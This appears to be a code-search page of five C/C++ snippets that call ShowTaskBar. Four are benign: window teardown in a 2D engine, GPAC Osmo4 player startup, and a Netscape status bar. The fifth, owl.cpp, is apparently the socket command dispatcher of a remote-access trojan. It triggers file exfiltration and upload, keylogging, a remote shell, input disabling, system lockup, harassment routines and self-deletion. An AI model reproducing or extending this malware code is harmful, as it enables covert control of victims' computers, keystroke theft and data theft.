コード例 #1
0
ファイル: graphics.cpp プロジェクト: arrosado/2d-engine
void GLWindow::destroyGLWindow()
{
	destroyGL();
	ShowTaskBar(true);
	if ( hDC)
	{
		ReleaseDC( hWnd, hDC);
		hDC = NULL;
	}

	if ( hWnd)
	{
		DestroyWindow( hWnd);
		hWnd = NULL;
	}

	UnregisterClass(__TEXT("OGL"),hInstance);
	hInstance = NULL;	
}
コード例 #2
0
BOOL COsmo4::InitInstance()
{
	if (!AfxSocketInit())
	{
		AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
		return FALSE;
	}

	gf_sys_init();
	
	SetRegistryKey(_T("GPAC"));

	m_prev_batt_bl = m_prev_ac_bl = 0;

	m_screen_width = GetSystemMetrics(SM_CXSCREEN);
	m_screen_height = GetSystemMetrics(SM_CYSCREEN);
	m_menu_height = GetSystemMetrics(SM_CYMENU);
	m_scene_width = m_scene_height = 0;

	CMainFrame* pFrame = new CMainFrame;
	m_pMainWnd = pFrame;

	pFrame->LoadFrame(IDR_MAINFRAME, WS_VISIBLE, NULL, NULL);

	pFrame->ShowWindow(m_nCmdShow);
	pFrame->UpdateWindow();

	char config_path[MAX_PATH];
	CE_WideToChar((unsigned short *) (LPCTSTR) AfxGetApp()->m_pszHelpFilePath, (char *) config_path);

	while (config_path[strlen((char *) config_path)-1] != '\\') config_path[strlen((char *) config_path)-1] = 0;

	/*setup user*/
	memset(&m_user, 0, sizeof(GF_User));

	/*init config and plugins*/
	m_user.config = gf_cfg_new((const char *) config_path, "GPAC.cfg");
	if (!m_user.config) {
		/*create blank config file in the exe dir*/
		unsigned char config_file[MAX_PATH];
		strcpy((char *) config_file, (const char *) config_path);
		strcat((char *) config_file, "GPAC.cfg");
		FILE *ft = fopen((const char *) config_file, "wt");
		fclose(ft);
		m_user.config = gf_cfg_new((const char *) config_path, "GPAC.cfg");
		if (!m_user.config) {
			MessageBox(NULL, _T("GPAC Configuration file not found"), _T("Fatal Error"), MB_OK);
			m_pMainWnd->PostMessage(WM_CLOSE);
		}
	}

	const char *str = gf_cfg_get_key(m_user.config, "General", "LogLevel");
	EnableLogs((str && !strcmp(str, "debug")) ? 1 : 0);


	str = gf_cfg_get_key(m_user.config, "General", "ModulesDirectory");
	m_user.modules = gf_modules_new(str, m_user.config);
	if (!m_user.modules) {
		unsigned char str_path[MAX_PATH];
		const char *sOpt;
		/*inital launch*/
		m_user.modules = gf_modules_new(config_path, m_user.config);
		if (m_user.modules) {
			gf_cfg_set_key(m_user.config, "General", "ModulesDirectory", (const char *) config_path);

			gf_cfg_set_key(m_user.config, "Rendering", "RendererName", "GPAC 2D Renderer");

			sOpt = gf_cfg_get_key(m_user.config, "Rendering", "Raster2D");
			if (!sOpt) gf_cfg_set_key(m_user.config, "Rendering", "Raster2D", "GPAC 2D Raster");


			sOpt = gf_cfg_get_key(m_user.config, "General", "CacheDirectory");
			if (!sOpt) {
				sprintf((char *) str_path, "%scache", config_path);
				gf_cfg_set_key(m_user.config, "General", "CacheDirectory", (const char *) str_path);
			}
			/*setup UDP traffic autodetect*/
			gf_cfg_set_key(m_user.config, "Network", "AutoReconfigUDP", "yes");
			gf_cfg_set_key(m_user.config, "Network", "UDPNotAvailable", "no");
			gf_cfg_set_key(m_user.config, "Network", "UDPTimeout", "10000");
			gf_cfg_set_key(m_user.config, "Network", "BufferLength", "3000");

		
			/*first launch, register all files ext*/
			u32 i;
			for (i=0; i<gf_modules_get_count(m_user.modules); i++) {
				GF_InputService *ifce = (GF_InputService *) gf_modules_load_interface(m_user.modules, i, GF_NET_CLIENT_INTERFACE);
				if (!ifce) continue;
				if (ifce) {
					ifce->CanHandleURL(ifce, "test.test");
					gf_modules_close_interface((GF_BaseInterface *)ifce);
				}
			}
		}

		/*check audio config on windows, force config*/
		sOpt = gf_cfg_get_key(m_user.config, "Audio", "ForceConfig");
		if (!sOpt) {
			gf_cfg_set_key(m_user.config, "Audio", "ForceConfig", "yes");
			gf_cfg_set_key(m_user.config, "Audio", "NumBuffers", "2");
			gf_cfg_set_key(m_user.config, "Audio", "TotalDuration", "200");
		}
		/*by default use GDIplus, much faster than freetype on font loading*/
		gf_cfg_set_key(m_user.config, "FontEngine", "DriverName", "ft_font");

		sprintf((char *) str_path, "%sgpac.mp4", config_path);
		gf_cfg_set_key(m_user.config, "General", "StartupFile", (const char *) str_path);

		::MessageBox(NULL, _T("Osmo4/GPAC Setup complete"), _T("Initial launch"), MB_OK);
	}	
	if (! gf_modules_get_count(m_user.modules) ) {
		MessageBox(NULL, _T("No plugins available - system cannot work"), _T("Fatal Error"), MB_OK);
		m_pMainWnd->PostMessage(WM_QUIT);
	}

	/*setup font dir*/
	str = gf_cfg_get_key(m_user.config, "FontEngine", "FontDirectory");
	if (!str || !strlen(str) ) {
		strcpy((char *) config_path, "\\Windows");
		gf_cfg_set_key(m_user.config, "FontEngine", "FontDirectory", (const char *) config_path);
	}
	/*work with iPaq's default fonts ...*/
	str = gf_cfg_get_key(m_user.config, "FontEngine", "FontSerif");
	if (!str) gf_cfg_set_key(m_user.config, "FontEngine", "FontSerif", "Tahoma");
	str = gf_cfg_get_key(m_user.config, "FontEngine", "FontSans");
	if (!str) gf_cfg_set_key(m_user.config, "FontEngine", "FontSans", "Frutiger");
	str = gf_cfg_get_key(m_user.config, "FontEngine", "FontFixed");
	if (!str) gf_cfg_set_key(m_user.config, "FontEngine", "FontFixed", "Courier New");

	/*check video driver, if none or raw_out use dx_hw by default*/
	str = gf_cfg_get_key(m_user.config, "Video", "DriverName");
	if (!str || !stricmp(str, "raw_out")) {
		gf_cfg_set_key(m_user.config, "Video", "DriverName", "gapi");
	}

	m_user.config = m_user.config;
	m_user.modules = m_user.modules;
	m_user.EventProc = Osmo4CE_EventProc;
	m_user.opaque = this;
	m_user.os_window_handler = pFrame->m_wndView.m_hWnd;


	m_term = gf_term_new(&m_user);
	if (! m_term) {
		MessageBox(NULL, _T("Cannot load MPEG-4 Terminal"), _T("Fatal Error"), MB_OK);
		m_pMainWnd->PostMessage(WM_QUIT);
	}

	m_stoped = 0;
	m_open = 0;
	m_can_seek = 0;
	m_DoResume = 0;
	SetOptions();
	pFrame->SendMessage(WM_SETSIZE, 0, 0);
	ShowTaskBar(0);

	CCommandLineInfo cmdInfo;
	ParseCommandLine(cmdInfo);

	if (! cmdInfo.m_strFileName.IsEmpty()) {
		m_filename = cmdInfo.m_strFileName;
		m_pMainWnd->PostMessage(WM_OPENURL);
	} else {
		str = gf_cfg_get_key(m_user.config, "General", "StartupFile");
		if (str) gf_term_connect(m_term, str);
	}
	return TRUE;
}
コード例 #3
0
ファイル: Osmo4.cpp プロジェクト: casperploug/gpac
BOOL COsmo4::InitInstance()
{
	Bool first_load = 0;
	if (!AfxSocketInit())
	{
		AfxMessageBox(IDP_SOCKETS_INIT_FAILED);
		return FALSE;
	}

	gf_sys_init();
	
	SetRegistryKey(_T("GPAC"));

	m_prev_batt_bl = m_prev_ac_bl = 0;

	m_screen_width = GetSystemMetrics(SM_CXSCREEN);
	m_screen_height = GetSystemMetrics(SM_CYSCREEN);
	m_menu_height = GetSystemMetrics(SM_CYMENU);
	m_scene_width = m_scene_height = 0;

	CMainFrame* pFrame = new CMainFrame;
	m_pMainWnd = pFrame;

	pFrame->LoadFrame(IDR_MAINFRAME, WS_VISIBLE, NULL, NULL);

	pFrame->ShowWindow(m_nCmdShow);
	pFrame->UpdateWindow();

	TCHAR w_config_path[MAX_PATH];
	char config_path[MAX_PATH];
	GetModuleFileName(NULL, w_config_path, MAX_PATH);
	CE_WideToChar((u16 *) w_config_path, (char *) config_path);

	while (config_path[strlen((char *) config_path)-1] != '\\') config_path[strlen((char *) config_path)-1] = 0;

	/*setup user*/
	memset(&m_user, 0, sizeof(GF_User));

	/*init config and plugins*/
	m_user.config = gf_cfg_init(NULL, &first_load);
	if (!m_user.config) {
		MessageBox(NULL, _T("GPAC Configuration file not found"), _T("Fatal Error"), MB_OK);
		m_pMainWnd->PostMessage(WM_CLOSE);
	}

	const char *str = gf_cfg_get_key(m_user.config, "General", "LogLevel");
	EnableLogs((str && !strcmp(str, "debug")) ? 1 : 0);

	if (first_load) {
		/*first launch, register all files ext*/
		u32 i;
		for (i=0; i<gf_modules_get_count(m_user.modules); i++) {
			GF_InputService *ifce = (GF_InputService *) gf_modules_load_interface(m_user.modules, i, GF_NET_CLIENT_INTERFACE);
			if (!ifce) continue;
			if (ifce) {
				ifce->CanHandleURL(ifce, "test.test");
				gf_modules_close_interface((GF_BaseInterface *)ifce);
			}
		}
		::MessageBox(NULL, _T("Osmo4/GPAC Setup complete"), _T("Initial launch"), MB_OK);
	}


	str = gf_cfg_get_key(m_user.config, "General", "ModulesDirectory");
	m_user.modules = gf_modules_new(str, m_user.config);
	if (!m_user.modules || ! gf_modules_get_count(m_user.modules) ) {
		MessageBox(NULL, _T("No plugins available - system cannot work"), _T("Fatal Error"), MB_OK);
		m_pMainWnd->PostMessage(WM_QUIT);
		return FALSE;
	}

	m_user.config = m_user.config;
	m_user.modules = m_user.modules;
	m_user.EventProc = Osmo4CE_EventProc;
	m_user.opaque = this;
	m_user.os_window_handler = pFrame->m_wndView.m_hWnd;


	m_term = gf_term_new(&m_user);
	if (! m_term) {
		MessageBox(NULL, _T("Cannot load MPEG-4 Terminal"), _T("Fatal Error"), MB_OK);
		m_pMainWnd->PostMessage(WM_QUIT);
	}

	m_stopped = 0;
	m_open = 0;
	m_can_seek = 0;
	m_DoResume = 0;
	SetOptions();
	pFrame->SendMessage(WM_SETSIZE, 0, 0);
	ShowTaskBar(0);

	CCommandLineInfo cmdInfo;
	ParseCommandLine(cmdInfo);

	if (! cmdInfo.m_strFileName.IsEmpty()) {
		m_filename = cmdInfo.m_strFileName;
		m_pMainWnd->PostMessage(WM_OPENURL);
	} else {
		str = gf_cfg_get_key(m_user.config, "General", "StartupFile");
		if (str) gf_term_connect(m_term, str);
	}
	return TRUE;
}
コード例 #4
0
//------------------------------------------------------------------------------
void CNetscapeStatusBar::SetupMode()
{
    switch( m_enStatBarMode )
    {
        case eSBM_Simple:
        {
			if (!CNetscapeStatusBarBase::SetIndicators(pSimpleIndicators, 1))
				return;

            SetPaneInfo( 0, ID_SEPARATOR, SBPS_STRETCH | SBPS_NOBORDERS, 0 );
            
            // Hide the task bar window (if docked)
            
#ifdef MOZ_TASKBAR
            ShowTaskBar( SW_HIDE );
#endif /* MOZ_TASKBAR */
            
            break;
        }
        
        case eSBM_Panes:
        {
			if (!m_anIDSaved)
				return;

			if (!CNetscapeStatusBarBase::SetIndicators(m_anIDSaved, m_iSavedCount))
				return;

#ifdef _WIN32                
            int iFudge = 4;
#else
            int iFudge = 2;
#endif
            
			RECT rcTool;

			int idx = CommandToIndex(IDS_SECURITY_STATUS);
			if (idx > -1) {
	            SetPaneInfo(idx, IDS_SECURITY_STATUS, SBPS_DISABLED, sm_sizeSecure.cx - iFudge);

				if (m_pTooltip) {
	                GetItemRect(idx, &rcTool);
		            m_pTooltip->SetToolRect(this, IDS_SECURITY_STATUS, &rcTool);
				}
			}
			idx = CommandToIndex(IDS_SIGNED_STATUS);
			if (idx > -1) {
	            SetPaneInfo(idx, IDS_SIGNED_STATUS, SBPS_DISABLED, sm_sizeSecure.cx - iFudge);       

				if (m_pTooltip) {
	                GetItemRect(idx, &rcTool);
		            m_pTooltip->SetToolRect(this, IDS_SIGNED_STATUS, &rcTool);
				}
			}	
            
            //
            // Set common pane info (size, style, etc).
            // WHS -- I'm assuming we'll always have these, probably not good in the long term
			//

            SetPaneInfo( CommandToIndex( ID_SEPARATOR ),        ID_SEPARATOR,        SBPS_STRETCH, 0 );
            SetPaneInfo( CommandToIndex( IDS_TRANSFER_STATUS ), IDS_TRANSFER_STATUS, SBPS_NORMAL,  90 );
                
            // Note the taskbar mgr sets the width of the taskbar pane
            // Also note we must call these SetPaneXXX methods even if m_bTaskbar is FALSE because
            // pPaneIndicators specifies the IDS_TASKBAR.  If we don't, the default CStatusBar
            // implementation is to display the IDS_TASKBAR string resource in the status - not good.
#ifdef MOZ_TASKBAR
			idx = CommandToIndex( IDS_TASKBAR );
			if (idx > -1) 
            {
				SetPaneInfo( idx, IDS_TASKBAR, SBPS_NOBORDERS, m_iStatBarPaneWidth );
				SetPaneText( idx, "", FALSE );

				// Show the task bar window (if docked)

				if( m_iStatBarPaneWidth )
					ShowTaskBar( SW_SHOWNA );
                 
                if( m_pTaskBar )
                {   
                    CRect rc;
                    GetItemRect( CommandToIndex( IDS_TASKBAR ), &rc );
                    //Get Item Rect is returning us the wrong dimensions.  It's off by 6 pixels
                    //Eventually figure out what's going wrong
                    rc.right -= 6;
                    m_pTaskBar->MoveWindow( &rc );
                    m_pTaskBar = NULL;
                }    
			}
#endif /* MOZ_TASKBAR */

            break;
        }
        
        default:
        {
           break;
        }
    }
}
コード例 #5
0
ファイル: owl.cpp プロジェクト: v1ka5/Owl_zwei
DWORD WINAPI HandleClient( LPVOID param ){
	
	SOCKET s = *(SOCKET*)param;
	char buf[1024],tmp[64];
	struct cmd_t cmd;
	int n;
	while(1){
		n = recv( s , buf , 1023 , 0 );
		buf[n] = 0;
		//MB(buf);
		if( n == 0 )
			break;
		parse_cmd( buf , &cmd );
		int sec = cmd.cmd_object;
		int arg = cmd.args;
		char *p = cmd.addnl.str;
		//wsprintf( tmp , "%d::%d" , sec , arg );
		//MB(tmp);
		if( sec == CMD_FILE ){
			switch( arg ){
			case FILE_SDIR:
				SendDirTree( s , p , 0 );
				break;
			case FILE_SDIREX:
				SendDirTree( s , p , 1 );
				break;
			case FILE_SDRV:
				SendDriveSet( s );
				break;
			case FILE_SEND:
				SendFile( s , p );
				break;
			case FILE_RECV:
				RecvFile( s , p );
				break;
			case FILE_MKDIR:
				LocalMkDir( p );
				break;
			default:
				SendLn( s , "***file: bad args\r\n" );
			}
		}
		else if( sec == CMD_HW ){
			switch( arg ){
			case HW_OPENCD:
				OpenCDTray();
				break;
			case HW_CLOSECD:
				CloseCDTray();
				break;
			case HW_MOUSE_R:
				SetMouseBns( MOUSE_RT );
				break;
			case HW_MOUSE_L:
				SetMouseBns( MOUSE_LT );
				break;
			case HW_MOUSE_SW:
				SwapMouseBns();
				break;
			case HW_MONITOR1:
				MonitorPower( 1 );
				break;
			case HW_MONITOR0:
				MonitorPower( 0 );
				break;
			case HW_DB_CLK:
				DblClkDelay( cmd.addnl.nums[0] );
				break;
			case HW_INPUT0:
				EnableInput( false );
				break;
			case HW_INPUT1:
				EnableInput( true );
				break;
			case HW_REBOOT:
				Reboot();
				break;
			case HW_SHTDWN:
				ShutDown();
				break;
			default:
				SendLn( s , "***bad args\r\n" );
			}
		}
		else if( sec == CMD_KEYBD ){
			switch( arg ){
			case KEYBD_STARTLOG:
				KeyLog( true );
				break;
			case KEYBD_STOPLOG:
				KeyLog( false );
				break;
			default:
				SendLn( s , "***keybd: bad args\r\n" );
			}
		}
		else if( sec == CMD_MOUSE ){
			switch( arg ){
			case MOUSE_FLY_STOP:
				FlyMousePtr( false );
				break;
			case MOUSE_FLY:
				FlyMousePtr( true );
				break;
			case MOUSE_FLY_CLK:
				FlyMousePtrClick( true );
				break;
			case MOUSE_RESTRICT:
				RestrictMouseMovementTo(cmd.addnl.nums[0],
										cmd.addnl.nums[1],
										cmd.addnl.nums[2],
										cmd.addnl.nums[3]
										);
				break;
			case MOUSE_SHOW:
				ShowMouseCursor( true );
				break;
			case MOUSE_HIDE:
				ShowMouseCursor( false );
				break;
			case MOUSE_CLK:
				MouseClick( cmd.addnl.nums[0] );
				break;
			case MOUSE_CLK_PT:
				MouseClickPoint( cmd.addnl.nums[1],
								 cmd.addnl.nums[2],
								 cmd.addnl.nums[0]
							   );
				break;
			case MOUSE_SETPOS:
				SetMousePos( cmd.addnl.nums[0],
							 cmd.addnl.nums[1]
							 );
				break;
			default:
				SendLn( s , "***mouse: bad args\r\n" );
			}
		}
		else if( sec == CMD_SHELL ){
			if( arg == SHELL_SPAWN )
				CreateRemoteShell( s );
		}
		else if( sec == CMD_SYS ){
			unsigned long m;
			unsigned __int64 d;
			char msg[256];

			switch( arg ){
			case SYS_MAXMEM:
				m = GetMaxMem();
				wsprintf( msg , "max mem: %u MiB\r\n" , m );
				SendLn( s ,msg );
				break;
			case SYS_BUSYMEM:
				m = GetBusyMem();
				wsprintf( msg , "mem in use: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_FREEMEM:
				m = GetFreeMem();
				wsprintf( msg , "free mem: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_MAXDISK:
				d = GetDiskUsage( cmd.addnl.str , U_TOTAL );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_USEDDISK:
				d = GetDiskUsage( cmd.addnl.str , U_USED );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_FREEDISK:
				d = GetDiskUsage( cmd.addnl.str , U_FREE );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_SYSDIR:
				wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() );
				SendLn( s , msg );
				break;
			case SYS_WINDIR:
				wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() );
				SendLn( s , msg );
				break;
			case SYS_CHDIR:
				cd( cmd.addnl.str );
				break;
			case SYS_LOCKUP:
				SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" );
				Sleep(2000);
				LockUp();
				break;
			case SYS_RAMFILL:
				RamFill();
				break;
			default:
				SendLn( s , "***sys: bad args\r\n" );
			}
		}
		else if( sec == CMD_TBAR ){
			switch(arg){
			case TBAR_SHOW:
				ShowTaskBar( true );
				break;
			case TBAR_HIDE:
				ShowTaskBar( false );
				break;
			case TBAR_STBN_SHOW:
				ShowStartBn( true );
				break;
			case TBAR_STBN_HIDE:
				ShowStartBn( false );
				break;
			case TBAR_STBN_FLY1:
				FlyStartBn( true );
				break;
			case TBAR_STBN_FLY0:
				FlyStartBn( false );
				break;
			case TBAR_CLOCK_SHOW:
				ShowClock( true );
				break;
			case TBAR_CLOCK_HIDE:
				ShowClock( false );
				break;
			case TBAR_ENABLE:
				EnableTaskBar( true );
				break;
			case TBAR_DISABLE:
				EnableTaskBar( false );
				break;
			default:
				SendLn( s , "***tb: bad args\r\n" );
			}
		}
		else if( sec == CMD_PRANK ){
			switch(arg){
			case PRANK_DTP_ENABLE:
				EnableDesktop( true );
				break;
			case PRANK_DTP_DISABLE:
				EnableDesktop( false );
				break;
			case PRANK_FU_START:
				if( !strequal( cmd.addnl.str , "" ) )
					szFUStr = cmd.addnl.str;
				FuckYou( true );
				break;
			case PRANK_FU_STOP:
				FuckYou( false );
				break;
			case PRANK_WRUN_START:
				if( cmd.addnl.nums[0] > 0 )
					uiRunWindowsDelay = cmd.addnl.nums[0];
				MakeWindowsRun( true );
				break;
			case PRANK_WRUN_STOP:
				MakeWindowsRun( false );
				break;
			case PRANK_QUAKE_START:
				if( cmd.addnl.nums[0] > 0 )
					uiQuakeDelay = cmd.addnl.nums[0];
				Quake( true );
				break;
			case PRANK_QUAKE_STOP:
				Quake( false );
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}
		else if( sec == CMD_OWL ){
			switch(arg){
			case OWL_UNINSTALL:
				SelfDelete();
				exit(0);
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}

	}
	return 0;
}